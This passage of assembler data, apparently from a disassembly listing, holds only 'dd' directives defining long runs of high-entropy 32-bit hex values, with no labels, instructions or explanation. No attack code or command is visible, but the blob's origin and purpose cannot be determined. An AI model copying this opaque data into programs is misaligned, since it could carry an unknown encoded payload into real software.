0E45E8E99h, 0FFBC061Fh, 8081C84Bh dd 0D0E8B4D5h, 4182EA1Ch, 0B2963278h, 5C7B8C61h, 43BBD644h dd 533C60h, 33C6229Fh dd 12A1F381h, 0C155D21Fh, 769B6221h, 3A974FA4h, 1C630A5h dd 35D1B565h, 9F83D070h, 69296766h, 5E35F6B5h, 847D9DFAh dd 2932429Ah, 0BAEF3FC1h, 0EEB15203h, 11A26F85h, 0A2A8307Eh dd 7F83AD10h, 1CA0204Bh, 83684101h, 0C8266254h, 4C0C0371h dd 1647A66h, 22EC4E4h, 0BDA9E908h, 880FAFF2h, 211C6C5Dh dd 0E393A27Ch, 3BC1B13Bh, 79C748D0h, 65292748h, 8A05276h dd 2D7CC597h, 0F10224D3h, 10A0E68h, 429B51E9h, 7D7C0153h dd 0E1035E40h, 4EE9E24Eh, 2277B40Bh, 85679D09h, 88267331h dd 681FC940h, 1F5D0D98h, 2ACE837Eh, 11BCE4F0h, 2AB65312h dd 4125B040h, 6088D4CCh, 5DA461B9h, 25BE6908h, 0A48B3142h dd 2AEF2AE9h, 8EADC7B5h, 0F6B9CD1h, 5B133120h, 0F03AFC60h dd 0B783EB80h, 0E9263B9Eh, 592E2B8h, 5A0127B9h, 3750E52Dh dd 0D1782003h, 63E66681h, 0D7C6822Fh, 708B9B0Eh, 66C8D4A6h dd 7C36BC5Ch, 639DC375h, 0A50F7F7Eh, 72E989DDh, 15A7440h dd 74AF848h, 42F6413Fh, 0C4A49CE2h, 5BEA7892h, 0F37ED04Dh dd 1B2F59CDh, 2AAB5C68h, 122CE436h, 236A923Ch, 0EB847EEAh dd 0D400EA6Dh, 16684EDAh, 0FE5C170h, 6DE0F57Bh, 0A12D3427h dd 18A0917h, 75C10AEh, 2A0F914Ah, 0D7BA0484h, 0F16F4E00h dd 84D08E29h, 0E9AA9895h, 1C76BA13h, 5657D7BEh, 0BC56B435h dd 0B6CE8900h, 926E5D05h, 1E0CEA73h, 0AE500A49h, 6F760163h dd 442DF029h, 287C407h, 8DA2E912h, 0D15533F5h, 242AD085h dd 0DD49AFCDh, 0B99FA02Dh, 7A2B6DA0h, 0C02C2F70h, 0FF4EC6Ch dd 2397964Fh, 46B88672h, 0A55B592Dh, 488468A0h, 9A5A43C5h dd 36A44056h, 31E2A926h, 0B6D2252Ah, 65F712E3h, 0AAC18AACh dd 3E56B56Ch, 1A06B21Bh, 0F3B6A0DEh, 0F90E200h, 0EDFE46C2h dd 0A1B20362h, 0F407EE88h, 0D8D454BCh, 0F4C780E7h, 5F17F1Fh dd 0C256AA92h, 0C3094B85h, 174EDA61h, 0FC22EAEEh, 9C8A163Dh dd 0CA6F8DC9h, 815C0976h, 74AB7FC2h, 5718C5F0h, 0C60C15F8h dd 715F2759h, 8A04B7Ch, 84F1E91Ah, 4D395059h, 802657DFh dd 0C8300568h, 87A1A859h, 0F62957E9h, 0A3F5EB0Ah, 2DCA738h dd 4DF4C11Dh, 0C255B17Ah, 2D6CD75Bh, 260CD0B0h, 2C27D919h dd 6E440E5Eh, 0C9EE4959h, 89604D07h, 0F1FBA0F7h, 3128D095h dd 0F74C891Bh, 0CD862BDBh, 10086106h, 2A7C1EE9h, 525AACB7h dd 0AD62EC79h, 1073B62Ah, 44A8E98h, 0E36B4705h, 0FCD6DF22h dd 7EB0AF4h, 681012FDh, 91FEC253h, 2F2D8790h, 18385A31h dd 292FAB8Fh, 9B7934AFh, 7029FEA9h, 8C49F9E3h, 9C40626h dd 1646886h, 6E317FF1h, 3EBC91E9h, 4069D3B3h, 5B09E2D8h dd 8803E1C0h, 7A1AA39Bh, 0D290C3CFh, 0BD744C6Fh, 0E095A5F2h dd 1D332D8Eh, 470EF616h, 9D402F80h, 0D8F66EF6h, 77AEE982h dd 0BB4395F4h, 75C750FCh, 1272062Ch, 8CDF0177h, 16FBA820h dd 0B87EE80h, 1FB0C41Eh, 8FA5F777h, 0F58880B1h, 5A59D8CBh dd 6EB32DE9h, 95A0D352h, 0CE1657A1h, 0B6F029BEh, 2496D1h dd 0E931FB39h, 5395A56Ch, 0AD7327F5h, 9DAEB62h, 0B9E63480h dd 0FCB9D6F6h, 733077AAh, 5BF81108h, 30ED0F04h, 0F00C58C6h dd 0F54045A2h, 0C7E00B2Dh, 55E1838Fh, 0F1126BECh, 0C0F4F4FDh dd 0C6FEE26Dh, 6EEC000h, 0F7885366h, 0BDF64FE9h, 434E2604h dd 7F0A940Bh, 0B8331684h, 0B2345B21h, 20B62AEh, 0C354E461h dd 14CFEE85h, 0A366E218h, 5C1862F1h, 180C0E28h, 9875712Ah dd 0DE202574h, 0E8A5F010h, 5C55E183h, 52FC903Ah, 35006FF1h dd 36101A89h, 620A642Dh, 0CD516401h, 0EBEA0009h, 7C094E1Ah dd 2DD4E44h, 53BA68EDh, 880E92D9h, 17EC57C2h, 0CAF052B3h dd 655A3CE9h, 6B427C8h, 0D0DCF682h, 0E91908E4h, 5520D7CDh dd 0DBDFF2DBh, 9FF9A70Ah, 0FD58C542h, 7A88F445h, 0DAB2039Ch dd 33B7EA80h, 56EAF2CAh, 73979C70h, 0E9D5ECE3h, 51D1BF2Fh dd 6D579E37h, 3192E4DEh, 0A3B2C813h, 0E86F9C16h, 6ACD2EAh dd 0EE0C46C4h, 511094CBh, 0D7598968h, 21232985h, 7A1CCFB1h dd 0BC5E84E6h, 9452F760h, 0BD2264B0h, 0B4B0740h, 2A0E7A3Fh dd 5D5EFA6Ah, 6E9A32C1h, 6F4E1E05h, 9664EE74h, 0DCBF50D4h dd 29D7A3BCh, 16662DEFh, 210B500Fh, 853EEE27h, 2625743Eh dd 1D76BA04h, 0D04EC4F2h, 2DFCBE11h, 9B609828h, 0DC07751Ch dd 9F63BBBh, 0FC687435h, 0D787886Dh, 0F84FE328h, 9C1789E2h dd 4228BBC4h, 2AB94DA9h, 2723AC5Ah, 0E73F694Bh, 0C511012Eh dd 532454Fh, 4B98D8B4h, 65474394h, 0BBDD8A6Ah, 5BD82B40h dd 7C08055Eh, 0F2784C0Fh, 2D69112Ah, 43D4F101h, 0B702C158h dd 0E461AF1Ah, 0DB66A55Eh, 0F72C0E4Ah, 163DC80Fh, 68ED4566h dd 0F91EAFAh, 3500FD1Bh, 0DC032A7Eh, 2DD8F721h, 80D4E13Eh dd 0EE51A47Bh, 73457380h, 2D5D2816h, 41C0B065h, 3C103AF1h dd 0C2042DB3h, 31B32B29h, 0CA2E53DCh, 200E486Dh, 0B65A0D0h dd 79472EE4h, 83A73EDCh, 52290905h, 27AAEC98h, 0E38DA288h dd 6E134050h, 67B03F36h, 1161FA27h, 215561ACh, 2F4ED5E2h dd 0A3911788h, 5039EA88h, 0B8014FFAh, 3FF24B31h, 0AA7656A3h dd 0D502E099h, 0FE3BB662h, 20851730h, 43CAC286h, 9707C24h dd 0AB204202h, 5B04C31Fh, 1A8BE4E7h, 27DF8548h, 5ABD031h dd 802808CEh, 6872EB2Ah, 0DCD62589h, 0B4402145h, 68560958h dd 0ED59269Dh, 5A3D923Fh, 1F2CD357h, 59782DE9h, 0CD0719E6h dd 616D5EE8h, 0C57F1FE2h, 8956AFCBh, 0DB09EA9Ch, 13AD8273h dd 2F4CD706h, 31263EB2h, 928EF6D8h, 0C0EAD30h, 0E9AEF42Eh dd 0C70B2733h, 81891F34h, 0A3644F2h, 9B3780C1h, 0D09DEC6Ch dd 23B102C3h, 0D601293Ch, 0E90B0808h, 45E520Ch, 310B1AEEh dd 0F14CC208h, 0B7DCCC7Dh, 0E984D667h, 0CAAE1319h, 0A6B95B1Bh dd 5C17D488h, 4E215B8Ch, 94C7B8F1h, 855E244Ch, 52D6DEA5h dd 0B3951FA2h, 2D89C568h, 0F26E2C89h, 5029D696h, 1E752BEEh dd 38E14262h, 0C930A968h, 1FFB13BCh, 924F37BEh, 31FF2106h dd 5F9EF545h, 0ABC86577h, 3559ED68h, 591B9918h, 9CAF9254h dd 3B25A289h, 0EDA1D8F3h, 0A1F05407h, 9F91687Eh, 638072D2h dd 10CC8FEh, 8E0C04Ch, 8B596F68h, 541042EFh, 59146B34h dd 76B25C58h, 26193B24h, 0BD81D416h, 12DD5358h, 0BB03F86Ch dd 6596284h, 0D4C8B6D2h, 1B73CE80h, 5350F60Bh, 52B381B7h dd 0C7F45CB2h, 0FED7E090h, 5AF1EBEFh, 6E40A99h, 50288101h dd 0E68845B4h, 0B7F71860h, 0FE089CB0h, 0C0255B63h, 63F6CAECh dd 306DF0A2h, 0FDE92CE6h, 0EE6696AAh, 57B6A845h, 52518CBAh dd 0AD5B8EF4h, 716511D0h, 0E80C4F15h, 81226035h, 91D30EAh dd 0D389E7D5h, 0ADD6928Ah, 87753E94h, 300714BDh, 0BF308AFDh dd 0C3D595Eh, 6ABC7640h, 771C422Fh, 5E563A42h, 273C222Dh dd 315F01FCh, 44F22EFAh, 12EFB21Ch, 7864EFD0h, 0E16AD4E0h dd 0E1A84D2Ah, 0BE902E95h, 4C263875h, 8B01B850h, 1E7F8E5h dd 0E9635CDEh, 0A012C727h, 6E7CA801h, 0BA7A9F6Dh, 0E95F0880h dd 59107525h, 0E9A1ECB4h, 45958AE0h, 0BAD509FFh, 0C8B77896h dd 8998D22Bh, 95A5DCE2h, 9B643C94h, 874098C4h, 0C05AD520h dd 800509E5h, 895527F5h, 32A763D8h, 588B8784h, 0EB1D38C7h dd 0FCE90BBEh, 3CB851D9h, 0E4B6B712h, 0A0A0025Fh, 4C2010AEh dd 2CA03944h, 3432617h, 51827E32h, 5761E999h, 1DFBBDAh dd 8A1B659Ah, 26D35F64h dd 0AA1EC6Ah, 588998F9h, 0FB9D0B13h, 20AB176Ch, 6A2CC8EEh dd 2AB8EFE4h, 7F20B298h, 0CCAEDD18h, 2E475C4Dh, 4D2EFA56h dd 0C121C4ABh, 2AE1E4E8h, 5E3924CAh, 52E06F9Ah, 61094891h dd 96A1B410h, 75BE0074h, 0BBE9585Fh, 0EB87C163h, 5ABCC8DDh dd 9ED35129h, 7CE90801h, 0D833B46Bh, 549E6839h, 0E9195130h dd 0AD208F59h, 74E23CD9h, 0DBE753F7h, 18BBD356h, 0B80CC797h dd 0D9261F6Ah, 0A165C979h, 68182DE6h, 81F1405Ch, 0CBA7C18Ch dd 2FBC7479h, 6124D8B0h, 7AC21985h, 6A5C617Fh, 0B0033AF4h dd 0DA67029Bh, 0D0011B69h, 33E8C141h, 1091969Bh, 0BE280E21h dd 0B00505DFh, 0FEBFC017h, 29303F25h, 26E20E45h, 681C099Ch dd 21763421h, 0B382B365h, 43E8600Eh, 7CF197B9h, 78BF5DE5h dd 0A4A2C558h, 1C753F6Ah, 0C73BB78Eh, 56550800h, 5E5B06BEh dd 0D9E97578h, 51EC8E2Dh, 8B07BDC1h, 0B4F52921h, 63E916F1h dd 0E2AEA8A1h, 70E8786Dh, 0EB7B16BFh, 4E33BC74h, 0E20588ACh dd 0EECB5485h, 0D35A8A00h, 5ABA68E0h, 203CCC2Ah, 46607B7Dh dd 2C84DF74h, 20E0BFB9h, 5487042h, 7005FABh, 0E3C024B3h dd 0BFF0CB04h, 0C7C1CCC8h, 2924607Ch, 1E2C85FAh, 0C8345617h dd 10C1CAFEh, 6612BD19h, 0CDCA095Bh, 0B27E8D84h, 0F885970Fh dd 0BD0B2AD8h, 348AC382h, 98986DC4h, 2206FC67h, 0C9ECC663h dd 0B9791CEBh, 0B55A7075h, 0E3BEEC07h, 0C1E10AF1h, 5B877F7Fh dd 50F768C1h, 17B38D4Ch, 0E94FE927h, 5C3525E8h, 0EFA53FFBh dd 0CB625651h, 1CFD0993h, 48329FBBh, 0B1DFE54Ah, 0FD0831E5h dd 0B3405341h, 5A206B36h, 1033AD18h, 0B60183E7h, 0FEDEF6BEh dd 0D004A5CEh, 806CBA2h, 9756F007h, 8FE962E4h, 0E973758h dd 57EE6B6Ah, 7F71B500h, 61B85B0Fh, 20EA0158h, 5823CEC1h dd 4911F08Bh, 6601C69Ch, 0ACA0D387h, 1D28EF91h, 0A3580844h dd 0A81C7464h, 0A092E96Ch, 1280C76Bh, 0A52B5677h, 0C8080468h dd 0E64F5B26h, 0F7DC8C44h, 0B1C15C07h, 0EDC63104h, 0ED042E9Eh dd 0D9EF5D54h, 6F6F31ABh, 823AABCDh, 7C09EFD7h, 0C2B13F09h dd 47004F2h, 0FB5CC2BFh, 5A26B250h, 53075E5Dh, 2400EABBh dd 7CDA318Ch, 917B54E9h, 0E8B6C0CFh, 59051B43h, 205CECBFh dd 2BF955CCh, 259297A2h, 37E98010h, 4390DFB1h, 47062C67h dd 0B353D101h, 0B06A28D5h, 6E641B8Fh, 81E6BBh, 7B2CB9CDh dd 0B211E2E7h, 0F56B4AFCh, 94C8DF84h, 9A65EAB6h, 1012CAFEh dd 2C00A13Ch, 68F0287Bh, 30A83073h, 8072F2B2h, 3FD0C1EFh dd 9D60388Dh, 2E46979Ah, 52142799h, 7EE94AA3h, 0EDE7954Bh dd 23E909C1h, 0DC16D2E5h, 0A94014CDh, 0EFC91A12h, 551E9A49h dd 2FBB808Ah, 0BD5E97DEh, 50741387h, 20B95125h, 59160A04h dd 58F82CE9h, 0EA17583Bh, 3F68EF90h, 0C4DFA451h, 647E38h dd 6070C568h, 0A40F9D6Dh, 3E0706F9h, 3812BFF4h, 89220DACh dd 8EF1972Ch, 2737E34Eh, 20C162Dh, 7C07EA6Ah, 95F2E4EAh dd 7BE4E12Ch, 837678Bh, 2D5933F6h, 3B39E53Ah, 0B0D40A87h dd 536CDCEBh, 2D8B02F6h, 0EAE86974h, 4025565Ch, 0EA77AB20h dd 5CAF7463h, 212D5828h, 4FBC6812h, 0E9571030h, 0F24B470h dd 45C78FB9h, 59C8E269h, 0D10281DFh, 0E5EC35E8h, 0A16B4F4Eh dd 0C60243B1h, 0B0C7C10Fh, 7011AB15h, 0C91649D8h, 9E0BE58h dd 85150FDBh, 2598DF78h, 0C2747EA0h, 5803D010h, 0A5E6BF52h dd 0F2EF7267h, 6774820h, 790CE20h, 64AC5D5Eh, 0C512FAF5h dd 8D5E04B8h, 529C6BD0h, 9FAB057h, 35682669h, 815E2B83h dd 0D4767098h, 6441448h, 7DC4136Bh, 13995EE3h, 6793F1BCh dd 6A45962Ah, 8CD9238Ch, 318CF42Bh, 59486A95h, 5BD5088Dh dd 5737AD26h, 0A250D052h, 7164B297h, 60D982C1h, 7954063Bh dd 11DAF10Dh, 7488CB04h, 127F5AE9h, 0EFFEDCC6h, 1A61BF4Ah dd 0DC111706h, 8B296B6Bh, 9521D320h, 0A0E97CA1h, 395222EDh dd 3F309E7Eh, 0FFE10DD2h, 0E5415B22h, 0FB6D68EDh, 980C2577h dd 60665474h, 0DF87A263h, 0B1ABDB4Ah, 0C2E7087Dh, 9B12EF02h dd 0B4D5C3Eh, 6B5CDA29h, 4D1D72C0h, 5046715Bh, 0B76AD34Eh dd 0DE89FFF1h, 0E01BA35Dh, 4AC0C251h, 0C64577B0h, 3BB0E943h dd 0DB17534Dh, 0B673FB5Bh, 5B5D4C8Ah, 3EB51310h, 94C418ACh dd 9D8300Dh, 28576866h, 0CA42D754h, 0E0430453h, 0D508C35Fh dd 10A5267h, 553A1192h, 20E90889h, 0E197142Ah, 1CC83C5h dd 0CDE60C81h, 0F6BEE05Eh, 69106103h, 20F32970h, 681267E8h dd 0B63471C1h, 0E980DA0Dh, 3143D8E5h, 319527C1h, 0CA074576h dd 36B7567Ch, 329DF260h, 0F20D58B3h, 0E29CC913h, 251A5180h dd 0C710647Eh, 4E702109h, 0C096FD28h, 684253BEh, 9F5AD028h dd 0F4A1B74Ch, 8CA77B0Ah, 4A92E74Ah, 0E3A293F9h, 0A29A6F44h dd 71685709h, 1C14F501h, 43C5F58h, 36AF4326h, 0A19778D0h dd 11B1057h, 4FF616C7h, 7A689631h, 4534F42Eh, 0B904599Ah dd 33B67955h, 891F55B8h, 0DB54CBD9h, 0E5B5B4F1h, 95FB6ECh dd 32C55933h, 2D39DB27h, 0E42D11C5h, 0C3E938C2h, 0EB8648E1h dd 32E24330h, 0E90D0667h, 0F1A3EE85h, 0E6275923h, 203CB457h dd 0BA2EC0C9h, 7F9679D8h, 7A4F9E90h, 52890EA2h, 0F8B97E02h dd 2D29987Dh, 79AEBFAEh, 744323A3h, 0F3AE3B0h, 5C1E072Fh dd 0EAEB8197h, 6EEFF8F0h, 9A682C07h, 649E302Bh, 9709E858h dd 0F381CF00h, 963C671Bh, 12E3B74Ah, 4342FEC0h, 8EE9189Fh dd 39C279DDh, 6AD70216h, 0F2EA0F00h, 0BD64FD48h, 960CC2ECh dd 227EB193h, 0D7080EC3h, 40DA013Bh, 0E504080Bh, 9404136Dh dd 25BA4E64h, 54B6294h, 0E95768DFh, 27FD698Bh, 5A3B397Eh dd 5A5A3BCh, 0C8C44100h, 0DA978569h, 53E60733h, 0B4182431h dd 320CF189h, 0DE578B33h, 0FB2AC58Ah, 6EE91B05h, 0C780D443h dd 0D2EF98C9h, 0F5B13F51h, 4B5C1C10h, 0FC411BA8h, 7EAE1E20h dd 0D5BA252Ah, 706B526h, 0FE7FF7A0h, 0E9639204h, 5789B74Ch dd 0A3C3FF0h, 0D1897464h, 886942FCh, 183C25D1h, 3010A03Eh dd 0B8594ACEh, 11597BA9h, 60A74ADEh, 5A3DC08Ch, 36B3524Ah dd 0DC61B71Bh, 8EFC0F8h, 0CFE4FE76h, 0F01414CCh, 0FB6817F3h dd 1E2A6144h, 7F5F0298h, 5A4AE56Eh, 0EDF4B2B8h, 4FF1109Bh dd 90EC14Bh, 0AFA804DCh, 0A7F9231Ch, 0A03974F4h, 9B6817BCh dd 2463FB19h, 5F7BDA55h, 0E6772E1Ah, 12C04A20h, 0F5933894h dd 0E0EFCC03h, 20E8291Eh, 0CDB2B5CAh, 87B717F0h, 31E55638h dd 0C680C690h, 2855B01Dh, 0A57898Ah, 1ECA5014h, 0E1A200BAh dd 0D2E948C8h, 0CAECB04Bh, 6A5D0FA1h, 0F5E8939Ch, 409F2A3Ch dd 44DD536Eh, 731EDC1h, 72AD6445h, 9F703CD9h, 1E4705CBh dd 0F108E966h, 87CA3031h, 7BFC840h, 2B925D34h, 0D8EBBF4Fh dd 0E29F7C64h, 0F6E777AFh, 40F28634h, 0A5C5E916h, 0DF0F3D11h dd 120CCE88h, 0FE8BA031h, 80E0309h, 845BD489h, 676BE68h dd 0F2DB2EE9h, 415C002Dh, 1A4C0512h, 0F8902283h, 0AB0744F7h dd 910A2544h, 0BF741712h, 2D5A9E40h, 5ACD5389h, 0B71C46Fh dd 965D5B07h, 0F8D37FE2h, 639FA125h, 0E77C7EE5h, 0C15B8630h dd 0A2FC8EB0h, 644F892Dh, 96EF2037h, 3E3C005h, 0DCC1EB80h dd 0E32E5BD8h, 0D767714Fh, 824B2C16h, 7EFC9C2h, 0B15711BAh dd 507E302Bh, 4FE06812h, 3842EC1Ch, 0D4525582h, 94619E8h dd 4F853E5Ah, 0FC9104BAh, 4CE10B3h, 38AB6046h, 6FE55680h dd 0A742F115h, 0ED1457C8h dd 2771799Fh, 3EBBF0C5h, 436B8EE9h, 0E898A57Eh, 6FF29BFh dd 0EF0417B4h, 3BD35DE7h, 3F8187AAh, 0A141022Bh, 0C011E8D0h dd 290CCFECh, 0AC015A1Ch, 0E6361F9Fh, 19E50177h, 8143EF51h dd 9A46AEB8h, 0D4E62917h, 22F101DDh, 3F05751Dh, 952DEEE4h dd 0A97418EAh, 0FCDFDC09h, 5B54784Eh, 9F0229B8h, 0E9058844h dd 582F4AC6h, 5A042FA3h, 74697ED9h, 735C62FBh, 0FCB45000h dd 80C40BFEh, 0FDE313F4h, 0E58866A8h, 924F1EB0h, 84432E09h dd 0BE007702h, 0D550EAAh, 5EF20918h, 25F1568Eh, 97F8E2AEh dd 0EBD02128h, 4212E82Fh, 32304076h, 0DF2980C3h, 7855A5A2h dd 615B4F3Ah, 2C635296h, 0E04DDE1Dh, 3B86E356h, 944D54F1h dd 5BA0162Fh, 0DE7CA5E9h, 6F32312Ch, 8F50C1F2h, 0EB5B5597h dd 5368BA05h, 0B5F7CCEEh, 9DE9190Bh, 0C26274C1h, 46FF6150h dd 219ABFFDh, 0C06451C0h, 0D87A5D81h, 8704F266h, 0ED7DE9D6h dd 1248A2ABh, 7ECA5F07h, 1B21EB4Ah, 85A5EB4Ah, 27DEF222h dd 576CC50Fh, 0EE3D0592h, 74500968h, 807F0B62h, 0A3E95170h dd 0F2A2959Bh, 0FA099560h, 78ED04E3h, 0AAD6AE15h, 0DC540304h dd 24F03107h, 93C8BAC6h, 0F564BD96h, 9B3B7BEAh, 0BAC6000Dh dd 56C92B9h, 0CF2113ACh, 7655008h, 0AD8ABC5Bh, 5FB766FEh dd 0EBD89406h, 6B2271C9h, 0DAA68C1h, 0FBA02F99h, 344D17C9h dd 0F909043Eh, 0E3C11EECh, 12331F99h, 50C09F31h, 0B35895AAh dd 48465B59h, 89491058h, 66DC680Ah, 47BFBE31h, 2A61C94Eh dd 0C8A24735h, 0EF86010h, 49C5FE5Bh, 0C0602CDh, 0BD660356h dd 0E18501DAh, 0F609BFEEh, 816062B8h, 271C21FBh, 0C99619E8h dd 2F5DC2B5h, 0A4137213h, 9FFB5934h, 5174E84h, 501226CBh dd 4DCE0056h, 0E909AA47h, 3BC1DF49h, 6B4E125Fh, 0EFC579FCh dd 687791D9h, 0CEA32B55h, 2DCF0978h, 30F74317h, 83E1E3ACh dd 2E48B220h, 1024D030h, 0FA8803BFh, 87F22C5Bh, 0C44F04C7h dd 6DDD98E5h, 2D904CA0h, 0ABF9DFCEh, 25ADF6CBh, 97C41C57h dd 7F259265h, 0E913549Ch, 0E3F371F0h, 0FAB3F612h, 26D64E29h dd 3362D743h, 7E58302Fh, 12094F5Bh, 0E8661425h, 5DC1107Ah dd 0BC519714h, 182E8305h, 0FBD7BA07h, 5EA81901h, 0F8F8017Eh dd 6E88F626h, 60298A82h, 2880354Ah, 7BD7928Ah, 44C497C7h dd 5F25980Bh, 9F7F5003h, 96DD9109h, 0C1FE5B74h, 6C1489B2h dd 14E9E28Ch, 79D9EF2h, 8DF254BAh, 4ECE4BEh, 4B1A5806h dd 0C937B031h, 0D4C25641h, 0F4C4131Eh, 55FEE0AFh, 87E2014Fh dd 0D779B95Fh, 5326DCFCh, 0CCCF12F0h, 5C419BEAh, 17D968F8h dd 0B3ADE5Bh, 0A803E369h, 0EBB07F47h, 923E0FCFh, 3FF30228h dd 0F052A366h, 88C29F1Fh, 0E941C954h, 0ED2AD50Eh, 15C99EE2h dd 8FAC18D4h, 4B407B47h, 8D1A10A6h, 0C18BE2B7h, 9CA9E6D7h dd 0EF5C6BE3h, 0B8DB8FA7h, 0F7305CD5h, 806DB3E0h, 200562BEh dd 0D6F76C32h, 16ED14C0h, 0CB674A8Bh, 31D00031h, 0C1352582h dd 1ECB011Ah, 0EA7CBE0Dh, 7121E84Eh, 50C6801h, 2B433996h dd 0C0DF2D21h, 1240F987h, 2DC52169h, 97C22AA0h, 42D07C01h dd 0CEB2F289h, 1AC5D862h, 425F5EA7h, 5E00057Fh, 9641B368h dd 46B06280h, 81D399CAh, 0B548682Fh, 0BA40824Ah, 0E3967CE0h dd 7F10594h, 71FC1066h, 50B93EE5h, 0AF6F303h, 0C042C2Ah dd 0DF4FFC6Fh, 0F77190BFh, 0D45A6DE9h, 0B40D0E31h, 7A45A67Ah dd 9517904Eh, 0D91440EAh, 573C5940h, 655230D6h, 4FABDAAAh dd 0C49360B9h, 34DFEF61h, 45D35C17h, 0A9462562h, 6456D2B1h dd 14B747E8h, 0E8C000D9h, 0E1820408h, 0E018A13Bh, 767A3459h dd 980C63Dh, 0E872E999h, 14AAED82h, 0A068214Eh, 0E5015222h dd 6A717F1Ch, 0F960DDF7h, 4A79B202h, 5B71E2E3h, 0B04EA4ACh dd 4540CED3h, 80921CB6h, 867ECC6h, 5601D1A4h, 19027ABEh dd 99F4AC89h, 2D3C2279h, 48CDE0C5h, 70BF0235h, 0C62919BBh dd 1B61D384h, 58AC0486h, 837C693Eh, 47EE9E48h, 0C70189B6h dd 0FE77345Ah, 0E94D052Eh, 7B32AA1Fh, 206E752h, 65587B60h dd 0C261C100h, 6EF57FA8h, 1BE112CAh, 825AE424h, 80765D0Ch dd 0C9E0570Fh, 5B094E2Eh, 2424E942h, 48804B26h, 77B923C3h dd 0C278BF02h, 420341A0h, 1356D11h, 68E9EE04h, 0D79DFB80h dd 0FF4CBF5h, 8B2B1D0h, 582771C6h, 774EDE72h, 5BE5BFF9h dd 0D79AA806h, 0C33E8EBCh, 0F2A64C97h, 0D8C1F46Dh, 210D60ACh dd 0A6A06EC7h, 63080F16h, 4380CA81h, 0F2E9776Ah, 0C583DA4Ch dd 83BCA068h, 4F848B4Bh, 0BAA598EDh, 149BDC9Ch, 0B502803Eh dd 0FD6ED205h, 0EE478315h, 449DED18h, 1675BF0Ah, 4529A319h dd 0FBDFF76Eh, 5D605F97h, 10AF6A0Ah, 3D5C75E9h, 84C8D866h dd 0A5A3447Bh, 0A4657210h, 787EC8AFh, 446E4641h, 176D88FFh dd 945803A4h, 0ECEC25DCh, 8069B594h, 9315B681h, 0EAF2B526h dd 7B410BB0h, 90EF130h, 5559387Ah, 5EA491D5h, 1ADE32Eh dd 0B3535152h, 56EAB142h, 0E18009E1h, 0D440E402h, 5D25900Ah dd 589E4080h, 0E3900E48h, 4F3E47F2h, 26F50050h, 0E921A863h dd 80B6407Ah, 305BF3F6h, 2F2A9FB1h, 13680B82h, 97E6D160h dd 4123C4E5h, 9A15A37Ah, 0A2127B4Fh, 442EB085h, 43AAE909h dd 507EACA9h, 0E86A04AFh, 3468C11Dh, 703BD337h, 924AB81Fh dd 883F53DDh, 9E40E86Dh, 736B7168h, 8944F573h, 6FA3FAE8h dd 2485774Eh, 2F1ED9BFh, 0F8AC4A49h, 147D6884h, 0F87EA7A1h dd 619D5F20h, 9BC98577h, 3D507989h, 0E96284FCh, 0D7F1EA69h dd 5F09E740h, 3B471C49h, 917E3168h, 9D2E99F6h, 7E91A79Eh dd 0B95769DFh, 0D87E5E11h, 6440F71Ch, 5FFC01B8h, 0BC6843F0h dd 0C0F13C4Eh, 424523D5h, 0C6739709h, 162D4801h, 0A07F6533h dd 0F19306B2h, 6E29FC22h, 644FBFB3h, 20AAFE65h, 0F81D6CD2h dd 9DFCFAC4h, 4BEB8AFFh, 77692FE9h, 0CCEC9651h, 2D5D80AEh dd 78069400h, 3440559h, 0E0435C3Dh, 0DB07A27Ch, 9817203Fh dd 0A9FF58DAh, 195871C2h, 66933D60h, 0C11908E8h, 60603E2h dd 5E495D20h, 0AA5A3BDh, 70E2702h, 633B7388h, 1F24A44h dd 0D53C9F2Fh, 1A0EA20Ch, 3451553Dh, 0E6AB51B9h, 1EE90937h dd 0F7302ACAh, 3370B92Eh, 4C2D8192h, 0D9E22BEh, 0E767DE2Dh dd 8E29EF56h, 7AE96176h, 81FC208Dh, 9FEA545Dh, 5552C309h dd 9835CC4Dh, 27596BE0h, 0CDFAEFD1h, 8D526F0Ch, 9C7113Ah dd 25FE5A66h, 74313E8Dh, 414EB29Eh, 0A24A70CEh, 0E40C22BFh dd 68479741h, 8425C3BCh, 0A34C8762h, 72B778A4h, 0B2295BFDh dd 534193C5h, 227C23D2h, 407A0F81h, 9501164Ch, 500A2C75h dd 741F4765h, 0C34F7808h, 0FB145B2h, 490290BAh, 720BEF4Ah dd 0F196A5E9h, 280C9F6h, 607052A2h, 838E92Fh, 54EA6E69h dd 9009EE26h, 80510920h, 4914CA94h, 12756054h, 0E73AE907h dd 0B95C68C9h, 0B36AA570h, 70BD059Eh, 0FAC33E2Bh, 9325444Eh dd 97EB128h, 7E7E40E6h, 7DF2DA59h, 0F62A1BC5h, 0CA1BB80Bh dd 988B7F54h, 5B834C5Ch, 0B7F5E52h, 4B35E910h, 0FF33BA55h dd 533EE782h, 19243C71h, 2FDF9908h, 78EBFC5Eh, 6528203Ch dd 137C4760h, 0C1140B27h, 974F4872h, 0E0C8249h, 0C80DDF22h dd 2D98F58Fh, 46D83802h, 0A05BF01h, 3EBC17Ch, 71CDDC99h dd 0F70031D0h, 7AB943E4h, 85AAA52Ch, 0CCE71FCBh, 0E112C9A0h dd 48DC0541h, 9EE09D56h, 3813CDBBh, 45B164E9h, 6F787541h dd 0D304B36Ah, 7C9D2792h dd 8B5B27F7h, 75097526h, 0ADB8D9E1h, 0BD6FC422h, 600E4E57h dd 18E21C81h, 0BB03387h, 8907F650h, 0D4A2F74Bh, 3FE4DD1Ah dd 19520257h, 6BCE7DA2h, 7D5C1AF6h, 0E5C18433h, 6ED95C1h dd 0E942B03Ah, 20C92330h, 30CBBEh, 0EEC122A8h, 0E2E68105h dd 0E5A61C2Eh, 18B69808h, 0E77A3404h, 7E272D99h, 0A35B9236h dd 21BFD677h, 4815D27h, 46E8FF84h, 8AC584h, 51664F0Ch dd 42E42468h, 9BB0619Fh, 0B56D3888h, 59667F81h, 408AB26Bh dd 0DC4B48FDh, 50CDE6F9h, 565CE6EAh, 0BC2E5C59h, 3F47C45Fh dd 0C81750F3h, 0E74AE8F3h, 7AD160E2h, 44D31E97h, 42656614h dd 5C049A1Fh, 90B9A3BEh, 52518006h, 25E9A5B2h, 6CDC809Ah dd 42427349h, 0B9023EF3h, 3426AA3h, 0CA6254C8h, 0B3287F22h dd 68580208h, 9B77136Fh, 0FA5794DFh, 4D89061Eh, 0EBA58098h dd 0B5E13CCh, 5BD88991h, 819CEBC3h, 4F55DDh, 1ECFEE81h dd 0CCF28E0Dh, 0EF17D3E3h, 8F3DA579h, 737090B6h, 0E7C9800Eh dd 0F696E161h, 104577D9h, 570B719Bh, 4FF0D168h, 0FC7778BDh dd 0B3E44EA3h, 